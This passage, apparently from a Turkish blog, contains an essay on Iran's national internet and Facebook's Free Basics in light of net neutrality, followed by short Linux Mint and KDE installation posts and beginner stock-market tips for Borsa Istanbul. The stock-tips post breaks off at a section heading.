  • Kişi başına düşen bant genişliğinde İran’ın Orta Doğu ve Kuzey Afrika’nın ikinci ülkesi olması.
  • Tüm kamu kurumlarını ulusal enformasyon ağına bağlanması.
  • Enformasyon ve iletişim teknolojileri endüstrisinin GSYİH’daki payının %2’ye çıkması.
  • Geniş bant ağlar desteklenerek milli büyümenin artması.

Article 19 raporu, Dünya Bankası’nca hazırlanan başka bir rapora atıfta bulunarak, bant genişliği girim hızındaki %1’lik bir artışın düşük ve orta gelirli ülkelerin büyüme hızında %1.4’lük bir artış sağlayabileceğini belirtiyor. Ayrıca altyapı çalışmaları istihdam oranını da artıracak, özel sektörün sunabileceği hizmetleri çeşitlendirecek.

İran’ın 2011’de açıklanan 5. Kalkınma Planı’na göre 2015 yılında tamamlanması öngörülen milli internetin 2019’dan önce tamamlanması zor görünüyor. Bu gecikmede projedeki belirsizliklerin ve teknik yetersizliklerin önemli payı var. Gecikmeye karşın üç aşamadan oluştuğu duyurulan projede İran, (belki de başka seçenekleri olmadığından) milli internete doğru kararlı adımlarla ilerliyor.

Birinci aşama, Resim 1’de gösterildiği gibi İran’ın temiz internetinin aşağıdaki gibi İnternet’ten ayrılması. Milli internet ile kullanıcıların İnternet’e doğrudan erişim hakkı olmayacak. Kullanıcılar, milli ağ üzerindeki hizmetleri (e-posta, arama, sosyal ağ vb) kullanacaklar. İranlı internet kullanıcılarının ve uluslararası insan hakları kuruluşlarının en büyük endişesi milli internet ile hükümetin denetim olanağının genişlemesi, derinleşmesi ve kolaylaşması. Böylece sansür ve gözetim sonucu oluşacak otosansür nedeniyle ifade özgürlüğü kısıtlanacak. Bu bağlamda, İran’ın milli interneti Kuzey Kore’nin Kwangmyong adlı iç ağ (intranet) hizmeti ile karşılaştırılabilir (http://www.economist.com/node/8640881). Kuzey Kore’de sadece birkaç bin kişinin İnternet’e doğrudan erişim hakkı var. İnternet’teki olumsuz içerikten korunan diğer Koreliler Kwangmyong’a bir web tarayıcı üzerinden erişerek ağdaki e-posta hizmetini ve rejimin süzgecinden geçirilmiş haberleri okuyorlar ve bir arama motoruyla kendi ağlarında arama yapıyorlar. İranlı yetkililer Kwangmyong’daki gibi kullanıcıların İnternet’ten kopartılmasının söz konusu olmadığını, kullanıcıların İnternet’e erişmeye devam edebileceğini ancak milli internet ile ülke içindeki sitelere çok daha hızlı erişilebileceğini savunuyorlar. İranlı yetkililerin milli iç ağ (intranet) yerine özellikle milli internetten söz etmelerinin arkasında İnternet’ten kopulmadığını vurgulama kaygısı olsa gerek.

İranlı yetkililerin sözleri olağan durumlar için geçerli olsa bile hükümet karşıtı bir hareketlenmede yeni teknoloji altyapısı ile muhalefeti daha rahat bastırabilecekler. Bir diğer deyişle, toplumsal eylemlerde güç Twitter’dan İran hükümetine geçiyor.

Resim 1: İran'ın Milli İnternet Ağı

İkinci aşamada, tüm İranlı web sitelerinin yerel sunuculara taşınması planlanıyor. Bu adım, güvenlik ve hız açısından önemli bir adım olacak. Son aşamada ise yetkililerin milli interneti tam kontrol ve yönetimi sağlanacak.

Eğer İran başarılı olursa, ülkelerin “kendi sınırları ve egemenliği çerçevesinde milli internetler kurmaları” anlamına gelen internetin balkanlaşması (http://www.usak.org.tr/tr/usak-analizleri/yorumlar/acik-internet-yapisindan-balkanlasan-internet-yapisina) yönünde önemli bir adım daha atılmış olacak. Ne İran’ı ne de bu balkanlaşmayı destekleyen adımlar atan Kuzey Kore, Çin ve Rusya’yı savunacak değilim. Ama “usulsüz müdahale veya sansürden arınmış, küresel bir İnternet’i ve İnternet’e daha geniş erişimi” savunan, “İnternet’in, fikir beyan edenlerden iş kurmak isteyenlere kadar, herkes için açık bir forum olarak kalmasını sağlamak” için mücadele edeceğini ilan eden (https://turkish.turkey.usembassy.gov/scottbusby_ozgurinternet.html) ABD ne kadar masum?

Bu soruya yanıt verebilmek için eylül ayının başında gerçekleşen bir başka olaya, SpaceX’e ait Falcon 9’un patlamasına bakalım. ABD’li girişimci Elon Musk’un kurduğu, uzay taşımacılığı şirketi SpaceX’in Falcon 9 roketi test sırasında patladı. Patlamada, Facebook’un değeri 200 milyon dolardan fazla olan Amnos-6 isimli uydusu büyük zarar gördü. Mark Zuckerberg patlama sonrası yaptığı açıklamada tüm Afrika’nın İnternet’e bağlanabilirliğine yardımcı olacak bir uyduyu kaybetmekten duyduğu üzüntüyü ve tüm insanlığa internet bağlantısı sağlama misyonları konusundaki kararlılıklarını duyurdu (https://www.techinside.com/patlayan-spacex-roketi-facebookun-hayallerini-suya-dusurdu/).

Hayırsever Zuckerbeg’i en çok üzen Facebook ve ortaklarının internetsiz ülkelere internet götüreceği internet.org projesinin aksaması oldu. Zuckerberg, 2013 yılında yayımladığı makalesinde (http://bit.ly/1jMu40e) dünyayı daha açık ve bağlı (connected) hale getirmek misyonuyla hareket ettiklerini belirtiyor, dünyada sadece 2,7 milyar (dünya nüfusunun üçte birinden biraz fazla) kişinin internet erişimi olmasından yakınıyor ve internet erişimini bir insan hakkı olarak değerlendiriyordu. Bunun için bir şey yapmalıydı…

Ama bu “bir şey”, ne Facebook ne diğer hayırsever şirketler için ilk değildi. Facebook daha önce de, 2010 yılında, internet kullanıcı sayısını artırmak amacıyla 45 ülkede 50 operatörle işbirliği yaparak Facebook’un resimlerden arınmış sadece metin içeren, ücretsiz Facebook Zero (https://en.wikipedia.org/wiki/Facebook_Zero) sürümünü kullanıma sunmuştu. Ancak Facebook Zero arzulandığı gibi internet kullanıcısı sayısını artıramamış, sadece zaten internet bağlantısı olan kullanıcıların Facebook kullanımını teşvik etmişti. Google da 2012’de Facebook Zero’da olduğu gibi Google Free Zone ile Gmail, Google+ ve Google Arama’yı ücretsiz olarak kullanıma sundu. Hem Facebook Zero’nun hem de Google Free Zone’un en büyük sorunu tıklanan bağlantılar bu hizmetlerin dışına çıktığında yaşanıyordu. Sunulan bu hizmetler dışındaki adreslere erişim normal biçimde ücretlendiriliyordu.

Mike Elgan’a göre Google, Google Free Zone ile internet kullanıcı sayısını artırmaktan çok gelişmekte olan ülkelerde Facebook Zero’ya bir alternatif sunmak istiyordu. Ama Google’ın 2013 Haziranı’nda, Zuckerberg’in makalesinden iki ay önce, duyurduğu Loon projesi (https://www.solveforx.com/loon/) daha kapsamlı ve görünen amaç yine internete erişim olanaklarını artırmak. Loon, internet bağlantısı olmayan bölgelere balonlarla internet bağlantısı götürüyor (http://www.datamation.com/mobile-wireless/facebook-and-google-we-need-a-bigger-internet.html).

Dolayısıyla Facebook’un internet.org’u yeni bir girişim değil, ama Google’ın Loon’unundan daha az iddialı olduğu da söylenemez. Liderliğini Facebook’un yaptığı internet.org’un arkasında altı büyük şirket var: Samsung, Ericsson, MediaTek, Opera Software, Nokia ve Qualcomm. Zuckerberg, projenin amacının daha çok para kazanmak olmadığını bir hak olarak gördüğü internet erişimini dünyanın fakir ülkelerine de götürmek olduğunu, insanların internet ile gıda veya ilaç arasında herhangi bir seçim yapmak zorunda kalmaması gerektiğini söylüyor. internet.org’un amacının “Zuckerber’in daha da zengin olma isteği” olduğunu söyleyenleri ise “eğer daha fazla para kazanmak isteseydim, 1 milyar üyeli Facebook üyelerine daha fazla odaklanırdık. Çünkü Facebook dışındaki 6 milyar kişi daha fakir.” diye yanıtlıyor.

Ancak Facebook’un yoğun çabalarına, kamuoyu oluşturmak için düzenlediği kampanyaya karşın (bunun için 45 milyon dolar harcadığı söyleniyor) Hintliler, “kral çıplak” dediler ve Facebook’un 2015 Eylül’ünde Free Basics ile yeniden pazarlamaya çalıştığı internet.org’u Hindisitan’da yasakladılar (http://www.hurriyet.com.tr/zuckerberge-hindistanda-internet-org-darbesi-40051654). Hintliler, kendilerine internet getirenlere karşı neden böyle nankörlük ettiler?

Kamuoyuna öyle tanıtılmasına karşın internet.org kar amacı gütmeyen bir hayır kurumu değil. internet.org’u oluşturan şirketler de diğerleri gibi kar amacıyla hareket ediyorlar. Yalnızca henüz tam belirgin olmayan yeni iş modelleri peşindeler. Birçok insan, internet.org’un altında yeni iş modellerinin yattığını zaten tahmin ediyor. Ama sorun, Facebook ve ortakları için, “Olsun, kar ediyorlar ama yoksullara internet getiriyorlar.” diye düşünüyor olmaları.

Facebook ve ortakları, insansız hava araçlarından ücretsiz erişime kadar yoksulları internete bağlamak için ellerinden geleni yapıyorlar. Şimdi bu amaç doğrultusunda tamamı Afrika, Asya, Orta Doğu ve Latin Amerika’da bulunan 38 ülkede, yalnızca telefon operatörlerinin izniyle kullanılabilen Facebook Free Basics uygulamasını devreye sokmuş durumdalar. Free Basics hizmeti, internet erişiminin megabyte ya da kullanım süresi ile ücretlendirildiği yerlerde sunuluyor. Dolayısıyla Free Basics’in sunduğu ücretsiz erişim olanağı bu yerler için cazip oluyor. Ancak İran’ın milli interneti ne kadar İnternet ise Free Basics (ya da internet.org) de o kadar İnternet. Kullanıcıların Free Basics ile hangi web sitelerine ücretsiz erişebileceğine Facebook ve telefon operatörü karar veriyor. Bir diğer deyişle, kullanıcılar asıl İnternet’ten Facebook duvarlarıyla ayrılarak otoritenin uygun gördüğü siteleri kullanabiliyorlar.

Mike Elgan, Facebook’un internet.org’da uyguladığı stratejiyi bir müşteri edinme stratejisi olarak değerlendiriyor. Nitekim Free Basics, kullanıldığı ülkelerde internet kullanıcılarının sayısını artırmaktan çok var olan kullanıcıların Free Basics’te yer alan uygulamaları ücretsiz kullanarak veriden tasarruf edebilmesini sağlıyor. Elgan, Facebook’un daha önce de “Facebook içinde internet yaratmakla” suçlandığını hatırlatıyor, bunun devamı olan internet.org’un kullanıcıları asıl İnternet’ten koparmayı hedeflediğini vurguluyor (http://www.pcworld.com/article/3033274/internet/the-surprising-truth-about-facebooks-internetorg.html).

Bu nedenle, Hindistan Telekomünikasyon Düzenleme Kurulu’nun, internet servis sağlayıcıların ilkesel olarak farklı içerikler ya da uygulamalar arasında ayrım yapmaması, tüm web sitelerinin ve internet teknolojilerinin eşitliğini kabul etmesi olarak tanımlanan ağ tarafsızlığına zarar verdiği gerekçesiyle başta Free Basics olmak üzere ülkede ücretsiz ama kısıtlı internet hizmeti verilmesini yasaklaması yerinde bir karar. Birçok insanın hiç yoktan iyidir olarak değerlendirdiği Free Basics, normal internet erişiminin ücretli, Free Basics’in ücretsiz olması nedeniyle diğer uygulamaları ve ağ hizmetlerini Free Basics’te var olmaya zorluyor. Örneğin, topluma yararlı bir hizmeti daha çok insana götürmek istiyorsanız Facebook’un kapısını çalmanız gerekiyor. Bu stratejinin de zamanla kullanıcıları platforma daha bağımlı hale getirdiğini geçmiş deneyimlerimizden biliyoruz.

Bu yazıdaki örneğimiz Facebook üzerine. Ama yukarıda belirttiğim gibi benzer bir strateji Google ve kısmen Apple tarafından da izleniyor; İnternet’teki balkanlaşmanın bir tarafında İran, Çin, Kuzey Kore ve Rusya varsa diğer tarafında Facebook, Google ve Apple var.

Dolayısıyla İnternet’te özgürlüğe karşı olan totaliter yönetimleri kınamadan önce İnternet’teki balkanlaşmanın diyalektiğine dikkati çeken Nick Dyer-Witheford’un sözlerine kulak vermek gerekiyor:

İnternet’teki ulusal kısıtlamalar ile İnternet’in evrenselliği, yani Amerikan emperyalizmi arasında diyalektik bir ilişkisinin olduğunu düşünüyorum. İnternet’in açıklığı serbest ticaret doktrininin bir çeşit teknolojik karşılığıdır. Ve eşitlikçi bir evrenselcilikle uygulanmadığından beraberinde ulusal kontrolün tepkisel ve otoriter baskıcı biçimlerini getiriyor. Ama birinin diğerini koşullandırdığını görmenin gerçekten önemli olduğunu düşünüyorum. İran’ın veya Çin’in İnternet politikasının gerici doğasına itiraz edenler olabilir. Fakat bu dünyanın Google versiyonunun Amerikalıların dünya ekonomilerini yönetmesine ve onlara nüfuz etmesine yardım ettiğini göz ardı etmektir (http://sendika10.org/2015/12/nick-dyer-witheford-ile-soylesi-defol-git-google/).

Dyer-Witheford’un belirttiği diyalektik ilişki ne yazık ki ifade özgürlüğü ve özel hayatın gizliliğini savunan birçok internet aktivisti tarafından göz ardı ediliyor. Aktivistlerin hedefinde çoğunlukla İran, Kuzey Kore, Çin ve Rusya’daki totaliter yönetimler var. ABD ise “özgür İnternet’in” destekçisi, en azından kendi vatandaşlarının taleplerine kulak veren bir ülke olarak görülüyor. “Görünmeyen el” İnternet’i gerektiği gibi işletirken totaliter rejimler çeşitli müdahalelerle onun doğasına zarar veriyor. Ancak ABD’nin internet politikası Facebook, Google, Microsoft, Apple vb şirketlerin gereksinimleri doğrultusunda şekillenmekte ve bu şirketlerin çıkarları evrensel değerler olarak sunulmakta. Görünmeyen değil ama görülemeyen bir el, bu şirketlerin önündeki engelleri temizlemekte ve neredeyse sınırsız bir serbestlikle hareket etmelerini sağlamakta. İran, Çin ve Rusya’yı, uluslararası şirketlerle oldukça içlidışlı olan Orta Doğu ülkelerinden ayıran da kendi egemenlik sınırları içinde bu serbestliğe itirazları. Elbette ki bu ülkelerin internet politikalarını desteklemiyorum. Söylemek istediğim sadece şirketlerin (ve tabi ki ABD’nin) en az bu devletler kadar toplum için tehlikeli ve zararlı olduğu ve Dyer-Witheford’un da vurguladığı gibi “birinin diğerini koşullandırdığını görmenin gerçekten önemli olduğu”.

Sansüre ve gözetime karşı İnternet’te özgürlük için mücadele gerekli ama eşitlik olmadan özgürlük ne gelişebilir ne de kalıcı olabilir. Dolayısıyla çoğalan internetleri ve sınırları ağ tarafsızlığı bağlamında tartışmak ve buna karşı mücadele etmek daha verimli olacaktır. Ancak Singh’in belirttiği gibi, ağ tarafsızlığını serbest piyasaya ya da altyapıdaki düzenlemelere indirgeme eğilimine karşı eşitlikçilik temelinde ele almak gerekir (http://bit.ly/2cC8DxR). İnternet, yalnız ticari aktörlere değil, çeşitli toplumsal aktörlerin farklı etkinliklerine de açık olmalıdır. Ayrıca ağdaki eşitliğin yalnız telekom şirketlerinin ya da hükümetlerin altyapıdaki düzenlemeleriyle değil uygulamalar ile de bozulabildiği göz ardı edilmemeli.

Linux Mint 18.1 - Kernel 4.4’ten Kernel 4.8’e Güncelleme Nasıl Yapılır?

Linux Mint 18 kullanıyorsanız ve Linux Mint 18.1’e yükseltme yaptıysanız, bilgisayarınızda hala Linux Kernel 4.4’ün kurulu olduğunu göreceksiniz. Bunun nedeni, Linux Mint'in Ubuntu 16.04 LTS tabanlı olması ve Ubuntu 16.04'te Kernel 4.4'ün kullanılıyor olması.  Ubuntu 16.10 sürümünde Kernel 4.8 kullanılıyor. Biz de kernelimizi Linux Mint’te kolay bir şekilde güncelleyeceğiz. Linux Mint

December 17, 2016

KDE Plasma 5.8 LTS Nasıl Kurulur?

İki aydan fazla bir süre önce çıkan ve ilk LTS sürüm olan KDE Plasma 5.8 masaüstünü aşağıdaki PPA’yı kullanarak kurabilirsiniz. KDE Plasma 5.8 Kurulumu (Ubuntu 16.04 / Ubuntu 16.10) Aşağıdaki kodları sırasıyla terminalde çalıştırın. sudo add-apt-repository ppa:kubuntu-ppa/backports sudo apt update && sudo apt full-upgrade Yükseltme işlemi tamamlandıktan sonra herhangi bir sorunla

December 16, 2016

KDE Plasma 5.9 Duvar Kağıdı "Canopee"

KDE Plasma 5.9 için hazırlanan 2560x1600 çözünürlüğünde ve 4,1 MB boyutundaki Canopee isimli bu harika duvar kağıdını aşağıdaki linkten indirebilirsiniz. 4K çözünürlük isteyenler Plasma 5.9 ile bu duvar kağıdını kullanabilirler. Duvar kağıdının hazırlanışıyla ilgili bilgi almak isterseniz şu adrese bakabilirsiniz.  İndir İndir

Lyricfier ile Spotify’a Şarkı Sözü Desteği Nasıl Eklenir?

Spotify, mobil ve masaüstü uygulamalarından şarkı sözü özelliğini geçtiğimiz yaz çıkartmıştı. Eğer şarkı dinlerken şarkı sözlerini görmek isteyenlerdenseniz bunu Lyricfier ile yapabilirsiniz.  Lyricfier Nasıl Kurulur/Kullanılır? Lyricfier’ı kullanmak son derece kolay. Lyricfier GitHub sayfasından sisteminize uygun olan zip dosyasını indirip, dosyayı zipten çıkartın. Spotify’ı

Linux Mint 18.1 "Serena" MATE Kararlı Sürümü Çıktı

Linux Mint ekibi Linux Mint 18.1 "Serena" MATE kararlı sürümünü yayınladı. Linux Mint 18.1 LTS desteğine sahip olan sürüm 2021'e kadar desteklenecek. Güncellenmiş yazılımları ve yeni özellikleri içerisinde barındıran bu sürüm, kullanımınızı daha rahat hale getiriyor. Bu yeni sürümde birçok geliştirme mevcut. Bunların neler olduğunu şu adresten öğrenebilirsiniz. Linux Mint 18.1 "Serena" MATE

Linux Mint 18.1 “Serena” Cinnamon Kararlı Sürümü Çıktı

Linux Mint ekibi Linux Mint 18.1 "Serena" Cinnamon kararlı sürümünü yayınladı. Linux Mint 18.1 LTS desteğine sahip olan sürüm 2021'e kadar desteklenecek. Güncellenmiş yazılımları ve yeni özellikleri içerisinde barındıran bu sürüm, kullanımınızı daha rahat hale getiriyor. Bu yeni sürümde birçok geliştirme mevcut. Bunların neler olduğunu şu adresten öğrenebilirsiniz. Linux Mint 18.1 "Serena

December 15, 2016

Linux'te TeamViewer Kurulumu Nasıl Yapılır?

Teamviewer, birçok platformda çalışabilen, aynı anda birden fazla cihaza bağlanabilen, güçlü ve güvenli bir uzaktan erişim ve kontrol yazılımıdır. Uzaktan destek ile masaüstü paylaşımı, internete bağlı cihazlar arasında dosya transferi yapılabilmesini sağlar. Windows, Mac, Linux, Chrome OS, Android, iOS, Windows App ve Blackberry’yi destekliyor. TeamViewer Özellikleri: Bilgisayardan

December 13, 2016

MKVToolNix Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

MKVToolNix, MKV formatı ile ilgili birçok şeyi yapabileceğiniz ücretsiz, açık kaynak kodlu bir araç. Linux, Mac ve Windows sürümleri mevcut.  MKVToolNix’in desteklediği formatlar; H.264/AVC, RealVideo, Theora, VP8/VP9, MP2, MP3, AC3, raw PCM, AAC, OGG Vorbis, TrueAudio, ALAC, FLAC, WavPack, Opus, SSA, ASS, Kate, VobSub, ve USF. MKVToolNix Kurulumu Nasıl Yapılır? (Ubuntu/Linux Mint)

December 12, 2016

Borsa için Genel Yatırım İpuçları ve Basit Teknikler

İşim gereği Borsa İstanbul ile ilgilenmekteyim. Borsa ile ortaokul yıllarımdan başlayan garip bir ilişkim var. Hisse senetleri, Viop ve diğer yatırım araçları konusunda hem öğrendiklerimi hem bu yazıya kısa kısa not düşerek  hem kendime hem de varsa meraklısına faydalı olmak istiyorum. Borsa için Genel Yatırım İpuçları ve Basit Teknikler başlığında notlarımı kendisini küçük yatırımcı olarak tanımlayan ve “ne yapsam zarar ediyorum” diyenleri göz önüne alarak tutmaya çalışacağım. Bu notlar genel çerçeve şeklinde olacak ve şu hisse iyi alın – bu hisse kötü satın gibi bir tavsiye kesinlikle içermeyecek, lütfen yorum yazarken bunu göz önüne alınız.

Notlarımı iki bölümde #Bist Hisse Senetleri ve #Viop Başlığında tutacağım. Sıra ve düzen olmayabilir, ileride düzenlerim umarım.

Bist Hisse Senetleri Genel Yatırım İpuçları ve Basit Teknikler

EĞİTİM:

Öncelikle eğitim şart: Youtube’de komik video izlediğiniz sürenin yarısında Borsa ile ilgili çok değerli temel bilgileri elde edebilirsiniz. Az biraz biliyorum deseniz bile, 5 er dakikalık videolara vakit ayırın ve temelinizi sağlam tutun. Unutmayın bilgi sahibi olmadan, fikir sahibi olunmaz. O nedenle hem hisse senedi piyasası nasıl işlediğini hem de temel ve teknik analiz konularında “kendi analizinizi yapabilmenizi sağlayan” asgari bir bilgi birikimi şart. KanalFinans.com sitesindeki videoları tavsiye ederim (https://kanalfinans.com/egitim-videolari). İşe yarar şeyler.

BİLİNÇ:

  1. Spekülatif haberler, dost tavsiyelerine dikkat edin özellikle “şu hisseyi götürecekler” ” 5 kat artacak” “kağıtta grup varmış” şeklindeki haberlere mümkünse kulağınızı tıkayın. Şayet bu heyecanı seviyorsanız, borsa yerine iddaa oynamanız daha mantıklı olacaktır. Spekülatif hareketi yakalasanız dahi bu hareketin inişli çıkışlı ve tamamen psikolojik tepkilerle yaptığı şok hareketlerinde para kazanma olasılığınız çok düşük olacaktır.
  2.  Televizyonda gördüğünüz yorumculara çok güvenmeyin. Aracı kurumlardaki çalışanların yorumlarına çok güvenmeyin. Şöyle düşünün,  ve şu soruyu sorun Bu adamlar çok biliyorsa, dedikleri doğruysa neden çok zengin değiller de bir işyerinde maaşlı olarak çalışıyorlar?
  3. Twitter ve diğer sosyal medya ortamlarındaki yorumculara ve özellikle bir grafiğe 895 tane çizgi çekip teknik analiz yapan, fiyat bulan ve kendinden emin konuşan insanlara itibar etmeyin. Burada da şu soruyu sorun; Bu iş teknik analizle oluyorsa neden bu “usta” teknik analizciler Türkiye’nin en zengin kişileri değiller?” . Fakat şunu da unutmayın, Teknik analiz bütünleyicidir ve yeri geldiğinde hayat kurtarır fakat sizi zengin etmez!
    Ayrıca borsa forumlarında da yazılanlara çok fazla itibar etmeyin.

HESAPLILIK:

Borsa’ya ayıracağınız para miktarını iyi ayarlayın ve portföyünüzü takip etmek için mümkünse düz bir rakam olsun örneğin 10.000 ayırdınız. Borsaya ayırdığınız bu 10.000 TL’nin tamamıyla hisse senedi almayın. Borsayı izledikçe fark edeceğiniz üzere, borsa kestirilemez inişler ve çıkışlar üzerine kurulu. Tercih ettiğiniz hisse senedi çok iyi olsa da şok düşüşler görebilirsiniz.

  1. İyi hisse senetlerini normal bir piyasada ucuza bulamayacağınızı aklınızdan çıkarmayın, bu nedenle her düşüş sizin için bir alış fırsatı olabilir. Alış maliyetizi düşürerek hem zaman kazanıp hem de kar miktarınızı artırabilirsiniz.

DOĞRU ALIM:

  1. Borsa pazar demek, yani alım satım yapılan yer. Türkiye’de ise  algı “borsa oynamak” “tüyo” kelimeleri üzerine kurulduğu için genelde borsa = kumarhane gibi yanlış bir önyargı oluşmakta. Bu yanlış algıyı lütfen bir kenara bırakın. Yabancıların dediği gibi “stock trading” yani “hisse senedi ticareti” olarak değerlendirin. Bu doğru algı emin olun zihninizi rahatlatacaktır. Çünkü olay gerçekten basit, ticaret = alım – satım. Ucuza al, pahalıya sat.
  2. Ucuza al, pahalıya sat… “Demesi kolay hangi fiyatın ucuz hangi fiyatın pahalı olduğunu nasıl anlayacağız?” diyebilirsiniz ve bu soruyu sormakta son derece haklısınız. Dünyadaki bütün yatırımcıların sorduğu bir soru. Bu soruya cevap vermek için birçok iktisatçı, teknik analist, matematikçi, fizikçi, psikolog onyıllardır uğraşmakta ve hepsi çeşitli teoriler ortaya koymakta. Bilimsel yöntemler konusunda bilgi sahibiyseniz teori ve kanun arasındaki farkı bilirsiniz. Kanun evrenin her yerinde kesindir ve ispat edilebilir, teori ise ispat edilmemiş bir düşüncedir. Borsada kanun yoktur. O nedenle mevcut teoriler içinde kendinize bir yatırım yöntemi seçebilirsiniz veya birkaç teoriyi harmanlayıp kendi önsezilerinizin önerliğinde bir yatırım stratejisi belirleyebilirsiniz. Benim kendi tercihim ve önerim XU30 veya xU100 hisse senetlerini:
    1. Temel analizde iyi bilanço / kötü bilanço takibi
    2. Teknik analizde ise hareketli ortalama: 233 günlük ortalamasının altında ise ucuz, üzerinde ise primli olarak görmek ve konuma göre 5, 21 ve 55 günlük hareketli ortalamaların küçükten büyüğe alttan kesişimi (Bu ne demek derseniz KanalFinans.com’da Teknik analiz – hareketli ortalamalar videosunu izleyiniz (https://kanalfinans.com/egitim/teknik-analiz/teknik-analize-giris).)
      olarak takip etmek olacaktır.

TAKİP:

  1. Tüm hisseleri takip etmeyin, belirli hisseleri seçin ve sürekli olarak o hisseleri izleyin. Bir hisse senedini sürekli olarak takip ederseniz fiyat hareketleri ve haber akışısındaki davranışının uzmanı olursunuz ve bu sayede beyniniz size o hisse senediyle ilgili hiçbir bilgisayarın sunamayacağı bir öngörü sağlayabilir.
  2. Takibe aldığınız hisse senetleri aynı sektörde olmasın. Diyelim 10 adet hisse senedi takip edeceksiniz, en az 4 tanesi banka hisse senedi olsun, 3-4 sanayi şirketi, geri kalan ise gıda ve teknoloji şirketleri olsun. Şöyle ki; bankalar endeksin öncü kağıtlarıdır, endeks bankalarla artar bankalarla düşer. Trendlerin sektörel sıralaması olduğu da söylenebilir, önce bankalar, sonra sanay, diğer sektörler derken en son taş-toprak endeksinin arttığı söylenmektedir. Kısa bilgi olarak bankaların Beta katsayısı yüksektir. Bu sırayı bir kenarda aklınızda tutmak faydalı olabilir. Temel Analiz ilginizi çektiyse Risk ve beta tablolarına da göz atabilirsiniz: http://www.bigpara.com/analiz/risk-getiri-tablosu/A-harfi-ile-baslayan-hisseler/
  3. “Sürekli fiyat mı takip edeceğiz arkadaş” diye sorabilirsiniz. Borsada işlem gören her kağıt farklı bir karaktere sahip. Hem fiyat hem de haber akışına ara ara bakımınızın gerekiyor. Bu zahmetli bir iş mi, hayır. Markete veya semt pazarına gidiyor musunuz? Sürekli aldığınız ürünlerin fiyatını takip ediyor musunuz? Büyük ihitmalle evet. Domates 5 liraya çıksa, patates de 10 liraya çıksa alır mısınız? Hayır! Tabi bu fiyat afaki, büyük ihtimalle orta sınıfa dahil bir vatandaşsanız siz  de 2 liraya satılan domatesin  2,50’ye çıkmasını moral bozukluğuyla takip etmektesiniz. Domates, patates, markette derterjan… Bir sürü takip ettiğiniz ürün var zaten, 10 tane hisse senedi takip etmek kapasitenizi zorlayacak bir şey değil. İyi bir semt pazarı avcısı olsanız bu yeteneğinizle senede en fazla 100 lira kar edersiniz. Ama bu eforla ve fiyat hakimiyetiyle bu parayı günde bile kazanabilirsiniz. Gün, hafta ay, size bağlı ama özetle aynı eforla borsada çok daha fazla para kazanabilirsiniz.
  4. NEREDEN İZLEYECEĞİZ: Borsayı, Hisse senetlerini, ilgili haberleri ve kurları izlemek için birçok yol mevcut. Bilindiği üzere artık canlı veriler ücretsiz verilmiyor. Ücretsiz veri sunan yerlerin çoğu 15 dakika gecikmeli sunmakta. Bazı bankalar ve aracı kurumlar cep telefonundan ücretsiz bist veri paketi sunmakta. Bunun dışında Bloomberg HT kanalı ise az bir gecikme ile hisse fiyat akışı yayınlamakta.
    • Investing.com – > Gecikmeli Borsa İzleme, İyi Grafikler, Özet Teknik Analiz, Cep Telefonu uygulaması harika
    • bigpara.com  -> Gecikmeli Borsa İzleme, İyi Grafikler, Temel ve Teknik Analiz Araçları
    • finans.mynet.com

İYİ FİYATTAN ALIM:

  1. Ticarette öncelikli kural, malı alırken kazanmaktır. Bu hisse bence ucuz deyip aldığınız hisse senedi büyük ihtimalle siz aldıktan sonra biraz daha aşağı düşecektir. Benzer şekilde siz bir hisse senedini karlı şekilde sattıktan sonra da hisse değerlenmeye devam edecektir. “Bak ulan, işte ben aldım düştü” veya “Bak biz sattık nasıl arttı” “Lan bizi bekliyormuşlar” gibi serzenişte bulunma olasılığınız neredeyse %98. Unutmayın, kimse en dipten alıp en tepeden satacak kadar başarılı değil. En iyi traderlar (alım satımı meslek edinmiş kişi) arasında dipten alıp tepeden satma oranı %2 imiş! Bu nedenle hiç moralinizi bozmayın.
  2.  Yukarıdaki maddede hisse senedini belirledik, fiyatın ucuz olduğunu gördük fakat dipten alıyor olmadığımızın bilincinde olarak kademeli alış yapıyoruz. Örneğin A hissesi için 5.000 TL para ayırdık, 4,50’lik güncel fiyatı bizce iyi ama aşağıya da gelirse diye 5.000 liranın hepsiyle hisse almıyoruz, ya yarısı ya da %25’lik kısmıyla kademeli olarak hisse senedini alıyoruz. 90’lı yılların borsacılarının tabiriyle mala kademeli giriyoruz.

 

İYİ FİYATTAN SATIŞ:

  1. Ticarette alırken kazanmanın öneminden bahsetmiştik ama bir gerçek var ki, bu daha sert bir gerçek olarak duruyor: Satmadan para kazanılmaz! Hisseyi ne kadar iyi bir fiyattan da almış olsanız, primli şekilde satmadıktan sonra para kazanamazsınız, 4,50’den aldığınız hisse 7 lirayı görmüş olsun siz satmadığınızda o hisse 4,10’a geri düşünce elinizden sadece yakınmak gelir. Hem zaman hem vakit kaybı olarak canınız sıkılır. Peki hangi fiyattan satmalıyız? Bunu kendiniz belirlemelisiniz. Hisse senetleriyle ilgili birçok araştırma raporu çıkmakta ve birçok aracı kurum tarafından Hedef Fiyat önerileri yapılmakta. Bu fiyatlara ve araştırma raporlarına hisse senetlerini izlediğiniz internet sitelerinde, veya borsa uygulamalarında senet sayfasında ilişkili haberler bölümünden erişebilirsiniz. Bu raporlar değişkendir, ve genellikle vade bağımsız bir fiyat hedefi sunarlar. O nedenle zamansallık sorunu sizin çözmeniz gereken bir sorun. Gözlemlediğim kadarıyla birkaç gün içerisinde %5 civarı bir artış kar satışı için iyi bir fırsat sunmakta. Orta ve uzun vade hedefini takip etmek istiyorsanız o da saygı duyulan bir tercih olarak durmakta. Ama unutmayın “Kar cebe yakışır”. 

TEKRAR ALIM:

Siz bir hisse senedini karlı olarak sattıktan sonra iyi bir fiyattan tekrar almak isteyebilirsiniz. Bu doğal ve çoğu durumda mantıklı bir tercih olacaktır. Fakat genellikle siz sattıktan sonra hisse senedi artmaya devam ettiyse “Ah, şu fiyatan sattık, şimdi daha yüksek fiyattan geri mi alalım” diyebilirsiniz. Almamak mantıklı olabilir fakat il belirlediğiniz hedef fiyatınız hala cazip ise, ve hisse senedi güçlenerek artıyorsa tekrar almak mantıklı olur. Genellikle küçük yatırımcı tercihini almamaktan yana kullanıyor. Bunun yerine alıp şans denemek daha stratejik bir tercih olarak durmakta.

MALDA YAKALANMA:

